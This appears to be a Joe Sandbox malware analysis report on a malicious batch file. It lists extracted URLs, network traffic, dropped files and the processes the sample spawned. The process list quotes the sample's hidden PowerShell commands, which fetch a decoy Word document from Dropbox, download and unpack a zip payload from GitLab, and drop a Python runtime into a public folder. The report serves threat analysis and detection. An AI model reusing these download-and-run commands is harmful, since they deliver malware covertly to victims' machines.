Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
Source: NEWS.txt.17.dr	String found in binary or memory: https://invisible-island.net/ncurses/NEWS.html#index-t20170401).
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.yahoo.com/
Source: NEWS.txt.17.dr	String found in binary or memory: https://mail.python.org/archives/list/python-dev
Source: NEWS.txt.17.dr	String found in binary or memory: https://man7.org/linux/man-pages/man7/network_namespaces.7.html
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://navi.dropbox.jp/
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C9785000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env
Source: powershell.exe, 0000000C.00000002.2126305568.000002711006F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2126305568.00000271101B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.00000271019E8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3272322550.000002A6D81CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3272322550.000002A6D8311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps-df.live.com
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://officeapps.live.com
Source: NEWS.txt.17.dr	String found in binary or memory: https://ogp.me/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://onedrive.live.com/picker
Source: powershell.exe, 00000011.00000002.3305718587.000002024D5EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://opensource.org
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pal-test.adyen.com
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
Source: python312.dll.17.dr	String found in binary or memory: https://peps.python.org/pep-0263/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.dropbox.com/
Source: NEWS.txt.17.dr	String found in binary or memory: https://pypi.org/project/sphinx-lint/
Source: NEWS.txt.17.dr	String found in binary or memory: https://python.visualstudio.com/cpython
Source: NEWS.txt.17.dr	String found in binary or memory: https://reviews.freebsd.org/D41751
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sales.dropboxbusiness.com/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sentry.gitlab.net
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://showcase.dropbox.com/
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C9785000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://snowplow.trx.gitlab.net
Source: NEWS.txt.17.dr	String found in binary or memory: https://sourceforge.net/p/expat/bugs/537/
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C9785000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sourcegraph.com
Source: NEWS.txt.17.dr	String found in binary or memory: https://sphinxext-opengraph.readthedocs.io/
Source: NEWS.txt.17.dr	String found in binary or memory: https://support.apple.com/en-gb/guide/deployment/depce7cefc4d/web
Source: powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ucff3945716c8f84f47b019805a5.dl.dropboxusercontent.com/cd/0/get/CftzJ156MPdShYtutsNwgCjD0-C-
Source: NEWS.txt.17.dr	String found in binary or memory: https://web.archive.org/web/20180309043602/https://www.openssl.org/docs/man1.1.0/ssl/SSL_CTX_set_min
Source: NEWS.txt.17.dr	String found in binary or memory: https://wiki.python.org/moin/GuiProgramming
Source: powershell.exe, 00000011.00000002.3305718587.000002024D5EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/
Source: NEWS.txt.17.dr	String found in binary or memory: https://www.blake2.net/
Source: powershell.exe, 00000011.00000002.3305718587.000002024D5EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cnri.reston.va.us)
Source: powershell.exe, 00000011.00000002.3305718587.000002024D5EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.cwi.nl)
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710122A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101629000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: powershell.exe, 0000000C.00000002.2128964930.000002716F4CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey
Source: powershell.exe, 0000000C.00000002.2131563047.00000271714C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/campaign_information_for_partners_v5.docx?rlkey
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/ns.html
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C9785000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: powershell.exe, 00000011.00000002.3305718587.000002024DEF0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.3305718587.000002024E13F000.00000004.00000800.00020000.00000000.sdmp, libssl-3.dll.17.dr	String found in binary or memory: https://www.openssl.org/H
Source: NEWS.txt.17.dr	String found in binary or memory: https://www.openssl.org/docs/man1.1.1/man7/proxy-certificates.html.
Source: NEWS.txt.17.dr	String found in binary or memory: https://www.openssl.org/news/secadv/20230207.txt
Source: powershell.exe, 0000000C.00000002.2112651496.000002710162F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.0000027101653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.2112651496.000002710164F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js
Source: NEWS.txt.17.dr	String found in binary or memory: https://www.python.org/dev/peps/pep-0007/#documentation-strings
Source: powershell.exe, 00000011.00000002.3305718587.000002024D5EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/psf/)
Source: python312.dll.17.dr	String found in binary or memory: https://www.python.org/psf/license/
Source: python312.dll.17.dr	String found in binary or memory: https://www.python.org/psf/license/)
Source: powershell.exe, 00000011.00000002.3305718587.000002024DB47000.00000004.00000800.00020000.00000000.sdmp, NEWS.txt.17.dr	String found in binary or memory: https://www.python.org:
Source: powershell.exe, 0000000E.00000002.3226360548.000002A6C97A9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.recaptcha.net/
Source: NEWS.txt.17.dr	String found in binary or memory: https://zipp.readthedocs.io/en/latest/history.html#v3-14-0

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704

Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.65.251.78:443 -> 192.168.2.5:49705 version: TLS 1.2

System Summary

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\pythonw.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python312.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libcrypto-3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libssl-3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python.exe	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\libffi-8.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\python3.dll	Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\Public\Document\vcruntime140_1.dll	Jump to dropped file

Source: Joe Sandbox View

Dropped File: C:\Users\Public\Document\DLLs\libcrypto-3.dll 05FE080EAB7FC535C51E10C1BD76A2F3E6217F9C91A25034774588881C3F99DE

Source: pythonw.exe.17.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: python3.dll.17.dr

Static PE information: No import functions for PE file found

Source: classification engine

Classification label: mal92.troj.evad.winBAT@28/36@3/2

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\Desktop\tmp

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6024:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wigcbstr.2fm.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\kjhsdg.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\chcp.com

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: sqlite3.dll.17.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: sqlite3.dll.17.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: sqlite3.dll.17.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: sqlite3.dll.17.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: sqlite3.dll.17.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: sqlite3.dll.17.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: sqlite3.dll.17.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\kjhsdg.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /L /I set "C:\Users\user\Desktop\kjhsdg.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /L /I goto "C:\Users\user\Desktop\kjhsdg.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /L /I echo "C:\Users\user\Desktop\kjhsdg.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /L /I pause "C:\Users\user\Desktop\kjhsdg.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx'"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip', 'C:\Users\Public\Document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /L /I set "C:\Users\user\Desktop\kjhsdg.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /L /I goto "C:\Users\user\Desktop\kjhsdg.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /L /I echo "C:\Users\user\Desktop\kjhsdg.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /L /I pause "C:\Users\user\Desktop\kjhsdg.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/6a43351k7xtueq3nikdxt/Campaign_Information_for_Partners_V5.docx?rlkey=1l4fom7f6j0k4uosl7pcdanlk&st=cvpb10v8&dl=1', 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Campaign_Information_for_Partners_V5.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/jjjdnmaaf/aafgg/-/raw/main/fuknew412.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document')"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\find.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
